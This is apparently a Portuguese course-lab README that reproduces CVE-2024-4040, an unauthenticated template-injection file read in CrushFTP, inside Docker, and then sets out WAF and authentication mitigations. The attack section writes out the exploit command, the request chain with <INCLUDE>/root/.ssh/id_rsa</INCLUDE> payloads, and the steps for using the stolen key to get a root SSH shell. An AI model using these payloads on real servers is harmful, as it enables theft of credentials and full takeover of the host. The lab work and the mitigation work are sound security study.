
Prova de conceito de exploit para CVE-2024-4040, demonstrando SSTI não autenticado e leitura de arquivos locais no CrushFTP, com laboratório Docker e estratégias de mitigação.
Apenas para uso educacional e laboratorial autorizado.
Para o módulo CS443 de Segurança de Software e Sistemas. O laboratório foi realizado em um ambiente Docker local controlado.
| Campo | Detalhe |
|---|---|
| CVE | CVE-2024-4040 |
| Software Afetado | CrushFTP < 10.7.1 (branch v10) / < 11.1.0 (branch v11) |
| Tipo de Vulnerabilidade | Injeção de Template no Servidor (SSTI) → Leitura Local de Arquivos sem Autenticação |
| Pontuação CVSS | 9.8 Crítico |
| Impacto | Atacantes não autenticados podem ler arquivos arbitrários do sistema de arquivos do servidor |
O WebInterface do CrushFTP avalia expressões de template no parâmetro path do comando zip sem sanitização. Um atacante não autenticado pode obter cookies de sessão anônimos e, em seguida, usá-los para enviar payloads de template ({working_dir}, <INCLUDE>…</INCLUDE>) que o servidor avalia e retorna — permitindo a leitura arbitrária de arquivos em todo o host.
| Componente | Valor |
|---|---|
| Alvo | http://localhost:8080 |
| Versão Base do CrushFTP no PoC | 10.3.0 (intencionalmente vulnerável) |
| Ambiente de Teste da Mitigação 3 | Contêiner separado executando CrushFTP 11.x (branch corrigida) |
| Porta SSH (contêiner) | 2222 → 22 |
| Credenciais de Administrador | admin / admin |
| Runtime de Contêiner | Docker (Compose) |
pip install requests rich
| Script | Origem | Finalidade |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | Exploit completo de SSTI/LFI — roubo de sessão, leitura arbitrária de arquivos |
recon.py | Este repositório | Detecção de versão, teste ao vivo de SSTI, confirmação de vulnerabilidade |
docker-compose up -d
Aguarde ~10 segundos para o CrushFTP inicializar completamente antes de executar os scripts.
Nenhuma etapa separada de reconhecimento é necessária aqui porque o crushed.py já verifica se a exploração é possível durante a execução.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
O script irá:
CrushAuth / currentAuth em /WebInterface/{working_dir} para resolver o diretório de instalação do CrushFTP<INCLUDE>/root/.ssh/id_rsa</INCLUDE> para ler o arquivo alvoCopie o bloco da chave privada da saída (tudo desde -----BEGIN OPENSSH PRIVATE KEY----- até -----END OPENSSH PRIVATE KEY-----).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Expected: root
id
# Expected: uid=0(root) gid=0(root) groups=0(root)
hostname
# Expected: <container_id>
Unauthenticated attacker
│
▼
GET /WebInterface/ ← obtains anonymous CrushAuth + currentAuth cookies
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI confirmed — template evaluated by server
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← leaks absolute installation path
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← arbitrary file read
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← full root shell
| Problema | Localização | Detalhes |
|---|---|---|
| Dependência ausente | Linhas 6–9 | Requer pip install rich antes de executar |
| Parsing XML frágil | Linhas 86, 140 | Falha em respostas de servidor não XML; sem tratamento de ParseError |
| Regex de token muito restrita | Linhas 160–161 | O padrão CrushAuth=…; currentAuth=… pode não corresponder a todos os formatos de sessions.obj |
| Somente HTTP 404 | Linha 53 | A captura do cookie só é bem-sucedida no 404; prossegue silenciosamente em outros códigos de status |
Um WAF atua como um proxy reverso que inspeciona o tráfego HTTP/S de entrada antes que ele chegue ao CrushFTP. Usando NGINX com ModSecurity, requisições maliciosas que exploram a CVE-2024-4040 são bloqueadas na borda da rede sem modificar o próprio CrushFTP.
../, %2e%2e) nas URIs de requisição e cookiesUtilize Mitigation 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Utilize Mitigation 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
-> forwards clean -> CrushFTP:8080
A CVE-2024-4040 é explorável sem autenticação. Neste laboratório, o acesso no estilo anônimo é bloqueado na camada NGINX, exigindo um cabeçalho Authorization antes de fazer proxy de rotas sensíveis para o CrushFTP.
crushed.py dependem de acesso não autenticado; requisições sem credenciais são rejeitadas com 401/WebInterface/ e / são negadas a menos que dados de autenticação estejam presentesservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp